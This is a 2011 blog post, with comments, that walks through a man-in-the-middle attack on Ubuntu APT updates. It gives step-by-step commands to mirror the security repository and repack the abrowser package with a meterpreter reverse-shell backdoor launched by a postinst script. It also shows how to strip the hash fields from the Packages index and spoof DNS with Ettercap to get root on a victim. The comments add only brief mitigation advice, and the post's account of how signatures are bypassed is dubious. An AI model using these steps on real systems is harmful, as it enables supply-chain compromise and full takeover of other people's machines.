Trusted Repositories : Not so Trustworthy

Posted: November 29, 2011 in Guides, Random pontifications
Tags: , , , ,

So — I’ve been hearing a lot of talk about how great and secure Ubuntu is because of the “Trusted” repositories. Heck, I’ve even been known to throw that one out there a few times, recently in fact. However, I usually always punctuate that thought with nothing is perfect. See the funny thing about trusting anything or anyone is, the hedgehog’s dilemma.

For those of you who aren’t fanatical Neon Genesis fans, you should be. However, since you’re probably not — I’ll explain it. The hedgehog’s dilemma basically explains the plight of human kind, we want to be close and trust eachother, but we are hedgehogs, the more trust and closeness we share the more we hurt eachother. Now that I’ve gotten that extremely emotional intro out of the way you’re probably wondering what the HECK this has to do with Ubuntu’s (or anyone else’s) trusted repos. Well allow me to explain, the repositories are free for anyone to mirror — modify, and pretty much do what they want. Hence, how you can make your own Ubuntu respin relatively easily.

Now — what if someone wanted to mirror them, change the packages to be malicious in nature, perhaps allowing the package to back door the system it was installed on? Well we’d be safe because we use the “Trusted” repos, and they wouldn’t be hosted in the same location right? Well…Sort of. We’ve already demonstrated in the past that we can make an address looks like it belongs to us, if we’re on the same network as the victim. The same concept applies to other things than browsers, like APT. Of course, as I said, you have to be on the same network as the attacker, which brings about another question, are you my neighbor and how is your wireless network’s security looking right now? (kidding) Or maybe you use free public wifi, are you doing your updates using that connection? Or maybe, just maybe your office is using Ubuntu, and your sysadmins aren’t all that clever.

So let’s look at how this attack works.

Preparing The Repository

Special thanks to Haqking on Ubuntu forums for giving me a heads up on creating an apt-mirror quickly, without him this FUD bonanza would not be before you now. Also, he just started blogging so be sure to check out his blog.

Thankfully there are a variety of easy to use utilities for mirroring an apt repository, in this case I was recommended both Keryx and apt-mirror. For the sake of expedience I chose apt-mirror because it’s already in the Back Track repositories.

Installing and configuring apt-mirror

apt-get install apt-mirror

Now — we need to clone our repository

edit /etc/apt/mirror.list

deb http://security.ubuntu.com/ubuntu oneiric-security main restricted

This is my file, I was targeting a fully updated Oneiric 11.10 install.

After this we simply want to run

apt-mirror

Note : To clone the ENTIRE repository, would take 74.4GB. That’s going to take a LOT of resources. For the sake of time, and resources we are only going to modify one repository just to show that we can in fact take advantage of the trust factor. For this to work in a default configuration you would need to clone the entire repository set.

So once our repo is cloned and placed in our web root we need to fire up our webserver in Back Track. You’ll notice that it’s cloned two different domains. Well — we only have one attacking machine, thankfully Apache is ever so kind and is going to let us create virtual hosts to handle this.

Here is an example Virtual Host site file (/etc/apache2/sites-available)


        ServerAdmin webmaster@localhost
        ServerName security.ubuntu.com
        DocumentRoot /var/www/security.ubuntu.com

                Options FollowSymLinks
                AllowOverride None

                Options Indexes FollowSymLinks MultiViews
                AllowOverride None
                Order allow,deny
                allow from all

        ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/

                AllowOverride None
                Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
                Order allow,deny
                Allow from all

        ErrorLog /var/log/apache2/error.log

        # Possible values include: debug, info, notice, warn, error, crit,
        # alert, emerg.
        LogLevel warn

        CustomLog /var/log/apache2/access.log combined

    Alias /doc/ "/usr/share/doc/"

        Options Indexes MultiViews FollowSymLinks
        AllowOverride None
        Order deny,allow
        Deny from all
        Allow from 127.0.0.0/255.0.0.0 ::1/128

Create one for each site we need. Then use a2ensite to enable them and start up Apache 2.

service apache2 start

Finally move your mirrored repository to the webroot

mv /var/spool/mirror/security.ubuntu.com /var/www/security.ubuntu.com && mv /var/spool/mirror/archives.ubuntu.com /var/www/archives.ubuntu.com

Modifying a Package

Creating the Backdoor

For this we will use a simple meterpreter reverse shell as our backdoor , however you can inject any payload you wanted.

Now that we have done this we must insert it into the package we want to modify. We are going to modify the abrowser package. That package is in security.ubuntu.com/ubuntu/pool/main/f/firefox/abrowser_8.0+build1-0ubuntu0.11.10.3_i386.deb

copy it to your /root directory where we placed badfile. Now we want to extract the package

cd /root
mkdir badpackage
dpkg -X abrowser_8.0+build1-0ubuntu0.11.10.3_i386.deb badpackage
mkdir badpackage/DEBIAN

Create the following file in DEBIAN and name it postinst

#!/bin/sh
sudo chmod 2755 /usr/badfile && /usr/badfile &

Give this file permissions 755. Now copy badfile to /badpackage/usr/badfile then rebuild the package

dpkg-deb --build --nocheck badpackage

Ignore the warnings about building a crappy package, it’s the way Ubuntu does it. *shrug*

This will give you a file called badpackage.deb so do the following…

cp badpackage.deb /var/www/security.ubuntu.com/ubuntu/pool/main/f/firefox/abrowser_8.0+build1-0ubuntu0.11.10.3_i386.deb

Now just one more loose end to tie up, with the package. Now , edit the file /var/www/security.ubuntu.com/ubuntu/dists/oneiric-security/main/binary-i386/Packages

Change the following

Package: abrowser
Priority: optional
Section: web
Installed-Size: 152
Maintainer: Ubuntu Mozilla Team
Architecture: i386
Source: firefox
Version: 8.0+build1-0ubuntu0.11.10.3
Depends: firefox
Filename: pool/main/f/firefox/abrowser_8.0+build1-0ubuntu0.11.10.3_i386.deb
Size: 8942
MD5sum: 4110c9ecb91baef556dccd62869f5a25
SHA1: 11680e06c14944c5f819584132a224ca343caf0f
SHA256: 67ba7ef5de1efa9309579acd4c288b9c84bdebab9088d6e09545febcbd853906
Description: Safe and easy web browser from Mozilla - transitional package
Description-md5: e89058e4775caff7d26313fa8811675e
Bugs: https://bugs.launchpad.net/ubuntu/+filebug
Origin: Ubuntu
Supported: 18

To this.

Package: abrowser
Priority: optional
Section: web
Installed-Size: 152
Maintainer: Ubuntu Mozilla Team
Architecture: i386
Source: firefox
Version: 8.0+build1-0ubuntu0.11.10.3
Depends: firefox
Filename: pool/main/f/firefox/abrowser_8.0+build1-0ubuntu0.11.10.3_i386.deb
Size: 8872
Description: Safe and easy web browser from Mozilla - transitional package
Bugs: https://bugs.launchpad.net/ubuntu/+filebug
Origin: Ubuntu
Supported: 18m

This will account for the changed size in our file, and remove the optional MD5, SHA1 and SHA256 Hash sum checks that will fail. Alternatively, you can change the hash sums here to match that of your file, but it is not necessary.

Staging the Attack

Now that we have our evil repository set up we need to get our traffic pointed toward it. We’ll use Ettercap for this, set up your etter.dns as such

security.ubuntu.com A 192.168.0.7
archive.ubuntu.com A 192.168.0.7
archive.ubuntu.com   A 192.168.0.7
*.ubuntu.com PTR 192.168.0.7

Where 192.168.0.7 is the host with the cloned repo.

And fire up ettercap…

Become root

Now when our victim goes to update.

You win 😉

that’s uid 0 and that’s game over.

So do you guys still trust those repos?

Advertisements
Comments
  1. Carlos says:

    Holy crap! How to mitigate this attack Adam?

  2. dangertux says:

    This relies on ARP poisoning, so the same way you’d mitigate any other man in the middle. Make sure the network you’re on is secure particularly if you’re using wifi in your home. Don’t do updates on public network connections that you don’t have control over. Not so much you can really do to “stop” it, but you can definitely see this one coming. The article I posted a few days ago, about detecting arp poisoning comes in useful.

    Pretty much just watch where you’re putting your machine, again, this isn’t one of those where I can do it to you from a far distance, the attack relies on being on the same network segment.

  3. moyyu says:

    i thought packages were signed.. How can this not raise an alarm ???

    • dangertux says:

      Great question — There are three places that integrity is checked. One at the PGP key on the repo (which is also cloned by apt-mirror, you will find it in the base of your repo directory if you follow this.), The package checksum in the control file (Packages), though as we demonstrated this is easily modified, and because it is not a debian required field is easy to bypass. And finally in the file size, which is also bypassed in the control file.

  4. Carlos says:

    Hey Adam, Arp wasn’t built with security in mind was it?

  5. Carlos says:

    lol, yea I wonder if there is any hope of them getting rid of it.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s